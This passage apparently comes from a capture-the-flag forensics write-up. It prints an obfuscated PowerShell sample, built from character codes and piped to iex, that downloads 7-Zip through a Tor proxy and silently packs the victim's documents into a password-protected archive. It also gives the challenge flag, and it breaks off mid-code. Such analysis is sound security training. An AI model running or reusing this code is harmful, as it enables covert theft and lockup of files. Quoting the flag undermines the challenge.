[Char]101 + [Char]120 + [Char]101 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]34 + [Char]39 + [Char]43 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]43 + [Char]39 + [Char]92 + [Char]55 + [Char]122 + [Char]46 + [Char]100 + [Char]108 + [Char]108 + [Char]34 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]34 + [Char]39 + [Char]43 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]43 + [Char]39 + [Char]92 + [Char]55 + [Char]122 + [Char]46 + [Char]101 + [Char]120 + [Char]101 + [Char]34 + [Char]39 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]99 + [Char]109 + [Char]100 + [Char]32 + [Char]47 + [Char]99 + [Char]32 + [Char]99 + [Char]117 + [Char]114 + [Char]108 + [Char]32 + [Char]45 + [Char]115 + [Char]32 + [Char]45 + [Char]120 + [Char]32 + [Char]115 + [Char]111 + [Char]99 + [Char]107 + [Char]115 + [Char]53 + [Char]104 + [Char]58 + [Char]47 + [Char]47 + [Char]108 + [Char]111 + [Char]99 + [Char]97 + [Char]108 + [Char]104 + [Char]111 + [Char]115 + [Char]116 + [Char]58 + [Char]57 + [Char]48 + [Char]53 + [Char]48 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]32 + [Char]45 + [Char]111 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]100 + [Char]108 + [Char]108 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]99 + [Char]109 + [Char]100 + [Char]32 + [Char]47 + [Char]99 + [Char]32 + [Char]99 + [Char]117 + [Char]114 + [Char]108 + [Char]32 + [Char]45 + [Char]115 + [Char]32 + [Char]45 + [Char]120 + [Char]32 + [Char]115 + [Char]111 + [Char]99 + [Char]107 + [Char]115 + [Char]53 + [Char]104 + [Char]58 + [Char]47 + [Char]47 + [Char]108 + [Char]111 + [Char]99 + [Char]97 + [Char]108 + [Char]104 + [Char]111 + [Char]115 + [Char]116 + [Char]58 + [Char]57 + [Char]48 + [Char]53 + [Char]48 + [Char]32 + [Char]36 + [Char]108 + [Char]105 + [Char]110 + [Char]107 + [Char]95 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]32 + [Char]45 + [Char]111 + [Char]32 + [Char]36 + [Char]55 + [Char]122 + [Char]101 + [Char]120 + [Char]101 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]69 + [Char]120 + [Char]116 + [Char]101 + [Char]110 + [Char]115 + [Char]105 + [Char]111 + [Char]110 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]42 + [Char]46 + [Char]112 + [Char]100 + [Char]102 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]32 + [Char]42 + [Char]46 + [Char]100 + [Char]111 + [Char]99 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]32 + [Char]42 + [Char]46 + [Char]120 + [Char]108 + [Char]115 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]120 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]112 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]116 + [Char]120 + [Char]116 + [Char]32 + [Char]42 + [Char]46 + [Char]99 + [Char]115 + [Char]118 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]32 + [Char]42 + [Char]46 + [Char]104 + [Char]116 + [Char]109 + [Char]108 + [Char]32 + [Char]42 + [Char]46 + [Char]112 + [Char]104 + [Char]112 + [Char]39 + [Char]59 + [Char]10 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]79 + [Char]117 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]68 + [Char]101 + [Char]115 + [Char]107 + [Char]116 + [Char]111 + [Char]112 + [Char]92 + [Char]65 + [Char]108 + [Char]108 + [Char]89 + [Char]111 + [Char]117 + [Char]114 + [Char]82 + [Char]101 + [Char]108 + [Char]105 + [Char]107 + [Char]82 + [Char]101 + [Char]115 + [Char]101 + [Char]97 + [Char]114 + [Char]99 + [Char]104 + [Char]72 + [Char]97 + [Char]104 + [Char]97 + [Char]104 + [Char]97 + [Char]95 + [Char]123 + [Char]48 + [Char]125 + [Char]46 + [Char]122 + [Char]105 + [Char]112 + [Char]39 + [Char]32 + [Char]45 + [Char]102 + [Char]32 + [Char]40 + [Char]71 + [Char]101 + [Char]116 + [Char]45 + [Char]82 + [Char]97 + [Char]110 + [Char]100 + [Char]111 + [Char]109 + [Char]32 + [Char]45 + [Char]77 + [Char]105 + [Char]110 + [Char]105 + [Char]109 + [Char]117 + [Char]109 + [Char]32 + [Char]49 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]32 + [Char]45 + [Char]77 + [Char]97 + [Char]120 + [Char]105 + [Char]109 + [Char]117 + [Char]109 + [Char]32 + [Char]50 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]48 + [Char]41 + [Char]46 + [Char]84 + [Char]111 + [Char]83 + [Char]116 + [Char]114 + [Char]105 + [Char]110 + [Char]103 + [Char]40 + [Char]41 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]39 + [Char]45 + [Char]112 + [Char]39 + [Char]32 + [Char]43 + [Char]32 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]59 + [Char]10 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]83 + [Char]116 + [Char]97 + [Char]114 + [Char]116 + [Char]45 + [Char]80 + [Char]114 + [Char]111 + [Char]99 + [Char]101 + [Char]115 + [Char]115 + [Char]32 + [Char]45 + [Char]87 + [Char]105 + [Char]110 + [Char]100 + [Char]111 + [Char]119 + [Char]83 + [Char]116 + [Char]121 + [Char]108 + [Char]101 + [Char]32 + [Char]72 + [Char]105 + [Char]100 + [Char]100 + [Char]101 + [Char]110 + [Char]32 + [Char]45 + [Char]87 + [Char]97 + [Char]105 + [Char]116 + [Char]32 + [Char]45 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]80 + [Char]97 + [Char]116 + [Char]104 + [Char]32 + [Char]36 + [Char]116 + [Char]109 + [Char]112 + [Char]39 + [Char]92 + [Char]55 + [Char]122 + [Char]46 + [Char]101 + [Char]120 + [Char]101 + [Char]39 + [Char]32 + [Char]45 + [Char]65 + [Char]114 + [Char]103 + [Char]117 + [Char]109 + [Char]101 + [Char]110 + [Char]116 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]32 + [Char]39 + [Char]97 + [Char]39 + [Char]44 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]79 + [Char]117 + [Char]116 + [Char]44 + [Char]32 + [Char]39 + [Char]45 + [Char]114 + [Char]39 + [Char]44 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]69 + [Char]120 + [Char]116 + [Char]101 + [Char]110 + [Char]115 + [Char]105 + [Char]111 + [Char]110 + [Char]115 + [Char]44 + [Char]32 + [Char]36 + [Char]97 + [Char]114 + [Char]103 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]32 + [Char]45 + [Char]69 + [Char]114 + [Char]114 + [Char]111 + [Char]114 + [Char]65 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]83 + [Char]116 + [Char]111 + [Char]112 + [Char]59 + [Char]10 + [Char]125 + [Char]10 + [Char]10 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]59 + [Char]10 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]64 + [Char]40 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]41 + [Char]59 + [Char]10 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]82 + [Char]101 + [Char]115 + [Char]117 + [Char]108 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]70 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]84 + [Char]97 + [Char]98 + [Char]108 + [Char]101 + [Char]32 + [Char]36 + [Char]102 + [Char]105 + [Char]108 + [Char]101 + [Char]76 + [Char]105 + [Char]115 + [Char]116 + [Char]59 + [Char]10 + [Char]99 + [Char]111 + [Char]109 + [Char]112 + [Char]114 + [Char]101 + [Char]115 + [Char]115 + [Char]32 + [Char]36 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]59 + [Char]10 + [Char]36 + [Char]84 + [Char]111 + [Char]112 + [Char]83 + [Char]101 + [Char]99 + [Char]114 + [Char]101 + [Char]116 + [Char]67 + [Char]111 + [Char]100 + [Char]101 + [Char]84 + [Char]111 + [Char]68 + [Char]105 + [Char]115 + [Char]97 + [Char]98 + [Char]108 + [Char]101 + [Char]83 + [Char]99 + [Char]114 + [Char]105 + [Char]112 + [Char]116 + [Char]32 + [Char]61 + [Char]32 + [Char]34 + [Char]72 + [Char]84 + [Char]66 + [Char]123 + [Char]89 + [Char]48 + [Char]85 + [Char]95 + [Char]67 + [Char]52 + [Char]110 + [Char]116 + [Char]95 + [Char]83 + [Char]116 + [Char]48 + [Char]112 + [Char]95 + [Char]84 + [Char]104 + [Char]51 + [Char]95 + [Char]65 + [Char]108 + [Char]108 + [Char]105 + [Char]52 + [Char]110 + [Char]99 + [Char]51 + [Char]125 + [Char]34 + [Char]10 | iex
Great, we have a bunch of characters that are concatenated to form another string that will be executed by iex. Let’s see what happens if we add up all the characters:
PS .../Artifacts of Dangerous Sightings> [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]43 + [Char]32 + [Char]32 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]32 + [Char]46 + [Char]95 + [Char]95 + [Char]95 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]45 + [Char]95 + [Char]95 + [Char]95 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]32 + [Char]95 + [Char]34 + [Char]46 + [Char]94 + [Char]32 + [Char]46 + [Char]94 + [Char]32 + [Char]94 + [Char]46 + [Char]32 + [Char]32 + [Char]39 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]34 + [Char]45 + [Char]95 + [Char]46 + [Char]32 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]46 + [Char]47 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]94 + [Char]32 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]92 + [Char]46 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]58 + [Char]32 + [Char]43 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]47 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]58 + [Char]92 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]95 + [Char]32 + [Char]58 + [Char]58 + [Char]58 + [Char]47 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]92 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]45 + [Char]32 + [Char]58 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]47 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]92 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]124 + [Char]46 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]58 + [Char]58 + [Char]124 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]46 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]45 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]58 + [Char]32 + [Char]32 + [Char]58 + [Char]58 + [Char]124 + [Char]46 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]58 + [Char]124 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]92 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]43 + [Char]32 + [Char]58 + [Char]58 + [Char]32 + [Char]58 + [Char]32 + [Char]45 + [Char]46 + [Char]58 + [Char]92 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]43 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]92 + [Char]46 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]35 + [Char]46 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]46 + [Char]58 + [Char]46 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]45 + [Char]58 + [Char]58 + [Char]58 + [Char]58 + [Char]46 + [Char]92 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]124 + [Char]32 + [Char]124 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]45 + [Char]58 + [Char]46 + [Char]34 + [Char]58 + [Char]46 + [Char]58 + [Char]58 + [Char]46 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]45 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]46 + [Char]58 + [Char]32 + [Char]46 + [Char]58 + [Char]58 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]46 + [Char]46 + [Char]46 + [Char]58 + [Char]58 + [Char]95 + [Char]58 + [Char]46 + [Char]46 + [Char]58 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]95 + [Char]95 + [Char]95 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]32 + [Char]46 + [Char]46 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]58 + [Char]92 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]47 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]43 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]46 + [Char]32 + [Char]32 + [Char]32 + [Char]58 + [Char]32 + [Char]46 + [Char]32 + [Char]58 + [Char]58 + [Char]46 + [Char]32 + [Char]58 + [Char]46 + [Char]58 + [Char]46 + [Char]32 + [Char]46 + [Char]58 + [Char]46 + [Char]124 + [Char]92 + [Char]32 + [Char]32 + [Char]46 + [Char]58 + [Char]47 + [Char]124 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]83 + [Char]67 + [Char]82 + [Char]73 + [Char]80 + [Char]84 + [Char]32 + [Char]84 + [Char]79 + [Char]32 + [Char]68 + [Char]69 + [Char]76 + [Char]65 + [Char]89 + [Char]32 + [Char]72 + [Char]85 + [Char]77 + [Char]65 + [Char]78 + [Char]32 + [Char]82 + [Char]69 + [Char]83 + [Char]69 + [Char]65 + [Char]82 + [Char]67 + [Char]72 + [Char]32 + [Char]79 + [Char]78 + [Char]32 + [Char]82 + [Char]69 + [Char]76 + [Char]73 + [Char]67 + [Char]32 + [Char]82 + [Char]69 + [Char]67 + [Char]76 + [Char]65 + [Char]77 + [Char]65 + [Char]84 + [Char]73 + [Char]79 + [Char]78 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]83 + [Char]84 + [Char]65 + [Char]89 + [Char]32 + [Char]81 + [Char]85 + [Char]73 + [Char]69 + [Char]84 + [Char]32 + [Char]45 + [Char]32 + [Char]72 + [Char]65 + [Char]67 + [Char]75 + [Char]32 + [Char]84 + [Char]72 + [Char]69 + [Char]32 + [Char]72 + [Char]85 + [Char]77 + [Char]65 + [Char]78 + [Char]83 + [Char]32 + [Char]45 + [Char]32 + [Char]83 + [Char]84 + [Char]69 + [Char]65 + [Char]76 + [Char]32 + [Char]84 + [Char]72 + [Char]69 + [Char]73 + [Char]82 + [Char]32 + [Char]83 + [Char]69 + [Char]67 + [Char]82 + [Char]69 + [Char]84 + [Char]83 + [Char]32 + [Char]45 + [Char]32 + [Char]70 + [Char]73 + [Char]78 + [Char]68 + [Char]32 + [Char]84 + [Char]72 + [Char]69 + [Char]32 + [Char]82 + [Char]69 + [Char]76 + [Char]73 + [Char]67 + [Char]10 + [Char]35 + [Char]35 + [Char]35 + [Char]32 + [Char]71 + [Char]79 + [Char]32 + [Char]65 + [Char]76 + [Char]76 + [Char]73 + [Char]69 + [Char]78 + [Char]83 + [Char]32 + [Char]65 + [Char]76 + [Char]76 + [Char]73 + [Char]65 + [Char]78 + [Char]67 + [Char]69 + [Char]32 + [Char]33 + [Char]33 + [Char]33 + [Char]10 + [Char]102 + [Char]117 + [Char]110 + [Char]99 + [Char]116 + [Char]105 + [Char]111 + [Char]110 + [Char]32 + [Char]109 + [Char]97 + [Char]107 + [Char]101 + [Char]80 + [Char]97 + [Char]115 + [Char]115 + [Char]10 + [Char]123 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]97 + [Char]108 + [Char]112 + [Char]104 + [Char]61 + [Char]64 + [Char]40 + [Char]41 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]54 + [Char]53 + [Char]46 + [Char]46 + [Char]57 + [Char]48 + [Char]124 + [Char]102 + [Char]111 + [Char]114 + [Char]101 + [Char]97 + [Char]99 + [Char]104 + [Char]45 + [Char]111 + [Char]98 + [Char]106 + [Char]101 + [Char]99 + [Char]116 + [Char]123 + [Char]36 + [Char]97 + [Char]108 + [Char]112 + [Char]104 + [Char]43 + [Char]61 + [Char]91 + [Char]99 + [Char]104 + [Char]97 + [Char]114 + [Char]93 + [Char]36 + [Char]95 + [Char]125 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]110 + [Char]117 + [Char]109 + [Char]61 + [Char]64 + [Char]40 + [Char]41 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]52 + [Char]56 + [Char]46 + [Char]46 + [Char]53 + [Char]55 + [Char]124 + [Char]102 + [Char]111 + [Char]114 + [Char]101 + [Char]97 + [Char]99 + [Char]104 + [Char]45 + [Char]111 + [Char]98 + [Char]106 + [Char]101 + [Char]99 + [Char]116 + [Char]123 + [Char]36 + [Char]110 + [Char]117 + [Char]109 + [Char]43 + [Char]61 + [Char]91 + [Char]99 + [Char]104 + [Char]97 + [Char]114 + [Char]93 + [Char]36 + [Char]95 + [Char]125 + [Char]59 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]10 + [Char]32 + [Char]32 + [Char]32 + [Char]32 + [Char]36 + [Char]114 + [Char]101 + [Char]115 + [Char]32 + [Char]61 + [Char]32 + [Char]36 + [Char]110 + [Char]117 + [Char]109 + [Char]32 + [Char]43 + [Char]32 + [Char]36 + [Char]97 + [Char]108 + [Char]112 + [Char]104 + [Char]32 + 